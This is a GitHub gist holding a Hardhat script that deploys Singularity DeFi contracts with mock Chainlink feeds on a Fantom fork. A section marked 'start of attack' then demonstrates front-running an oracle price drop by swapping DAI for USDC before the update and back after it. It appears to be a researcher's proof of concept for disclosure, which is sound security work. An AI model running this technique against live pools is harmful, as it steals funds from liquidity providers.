-
-
Save bsamuels453/b0fc4715fc384d94eb3e8ef22841f82a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const hre = require("hardhat"); | |
async function main() { | |
const [deployer] = await ethers.getSigners(); | |
function numToBN(number, decimals = 18) { | |
return ethers.utils.parseUnits(number.toString(), decimals); | |
} | |
const Oracle = await hre.ethers.getContractFactory("SingularityOracle"); | |
const adminAddress = deployer.address; | |
const oracle = await Oracle.deploy(adminAddress); | |
await oracle.deployed(); | |
console.log(`Oracle deployed to: ${oracle.address}`); | |
const Factory = await hre.ethers.getContractFactory("SingularityFactory"); | |
const trancheName = "Beta v4"; | |
const oracleAddress = oracle.address; | |
const feeToAddress = deployer.address; | |
const factory = await Factory.deploy(trancheName, adminAddress, oracleAddress, feeToAddress); | |
await factory.deployed(); | |
console.log(`Factory deployed to: ${factory.address}`); | |
let tx = await oracle.setOnlyUseChainlink(true); | |
await tx.wait() | |
console.log(`setOnlyUseChainlink`) | |
const usdc = "0x04068da6c83afcfa0e13ba15a6696662335d5b75"; | |
const dai = "0x8d11ec38a3eb5e956b052f67da8bdc9bef8abf3e"; | |
const wftm = "0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83"; | |
const FeedBuilder = await hre.ethers.getContractFactory("TestChainlinkFeed"); | |
const usdcFeedBuilt = await FeedBuilder.deploy(numToBN(1,8)); | |
const daiFeedBuilt = await FeedBuilder.deploy(numToBN(1,8)); | |
const usdcFeed = usdcFeedBuilt.address; | |
const daiFeed = daiFeedBuilt.address; | |
tx = await oracle.setChainlinkFeeds( | |
[usdc, dai], | |
[usdcFeed, daiFeed] | |
); | |
await tx.wait(); | |
console.log(`setChainlinkFeeds`) | |
const tokens = [ | |
{ | |
name: "USDC", | |
address: "0x04068da6c83afcfa0e13ba15a6696662335d5b75", | |
fee: 0.0002, | |
isStable: true, | |
cap: numToBN(100000, 6), | |
}, | |
{ | |
name: "DAI", | |
address: "0x8d11ec38a3eb5e956b052f67da8bdc9bef8abf3e", | |
fee: 0.0002, | |
isStable: true, | |
cap: numToBN(100000), | |
} | |
]; | |
for (let i = 0; i < tokens.length; i++) { | |
const tokenAddress = tokens[i].address; | |
const isStablecoin = tokens[i].isStable; | |
const baseFee = numToBN(tokens[i].fee); | |
let tx = await factory.createPool(tokenAddress, isStablecoin, baseFee); | |
await tx.wait(); | |
const poolAddress = await factory.getPool(tokenAddress); | |
console.log(`${tokenAddress} pool deployed to: ${poolAddress}`); | |
} | |
await factory.setDepositCaps( | |
[tokens[0].address, tokens[1].address], | |
[tokens[0].cap, tokens[1].cap] | |
); | |
const Router = await hre.ethers.getContractFactory("SingularityRouter"); | |
const router = await Router.deploy(factory.address, wftm); | |
await factory.setRouter(router.address); | |
const Pool = await hre.ethers.getContractFactory("SingularityPool"); | |
const usdcPoolAddress = await factory.getPool(usdc); | |
const usdcPool = Pool.attach(usdcPoolAddress); | |
const daiPoolAddress = await factory.getPool(dai); | |
const daiPool = Pool.attach(daiPoolAddress); | |
const uni = await hre.ethers.getContractAt("IUniswapV2Router01", "0xF491e7B69E4244ad4002BC14e878a34207E38c29", deployer); | |
// get 100 usdc in deployer wallet | |
await uni.swapETHForExactTokens(numToBN(100, 6), [wftm, usdc], deployer.address, 2655157258, {value: numToBN(1000)}); | |
// approval to router | |
const usdcToken = await hre.ethers.getContractAt("IERC20", usdc); | |
await usdcToken.approve(router.address, numToBN(100, 6)); | |
// get 100 dai in deployer wallet | |
await uni.swapETHForExactTokens(numToBN(100, 18), [wftm, dai], deployer.address, 2655157258, {value: numToBN(1000)}); | |
// approval to router | |
const daiToken = await hre.ethers.getContractAt("IERC20", dai); | |
await daiToken.approve(router.address, numToBN(100, 18)); | |
// add 10usdc to usdc pool | |
await router.addLiquidity(usdc, numToBN(10, 6), 0, deployer.address, 2655157258) | |
// add 10 dai to dai pool | |
await router.addLiquidity(dai, numToBN(10, 18), 0, deployer.address, 2655157258) | |
/* start of attack */ | |
/* ---------------------- */ | |
// attacker aware of 1% oracle price drop for DAI, swaps 1 DAI for USDC | |
let usdcOut= (await router.getAmountOut(numToBN(1, 18), dai, usdc)).amountOut; | |
console.log(`${typeof(usdcOut)}`) | |
console.log(`Attacker swaps 1 DAI for: ${ethers.utils.formatUnits(usdcOut,6)} USDC`) | |
// exec swap | |
await router.swapExactTokensForTokens(dai, usdc, numToBN(1, 18), 0, deployer.address, 2655157258); | |
// oracle is updated by chainlink | |
await daiFeedBuilt.setPrice(99000000); | |
console.log(`Oracle price dropped`) | |
// attacker swaps after oracle update | |
let daiOut =(await router.getAmountOut(usdcOut, usdc, dai)).amountOut; | |
console.log(`Attacker swaps ${ethers.utils.formatUnits( usdcOut,6)} USDC for ${ethers.utils.formatUnits( daiOut,18)} DAI`) | |
} | |
main() | |
.then(() => process.exit(0)) | |
.catch((error) => { | |
console.error(error); | |
process.exit(1); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment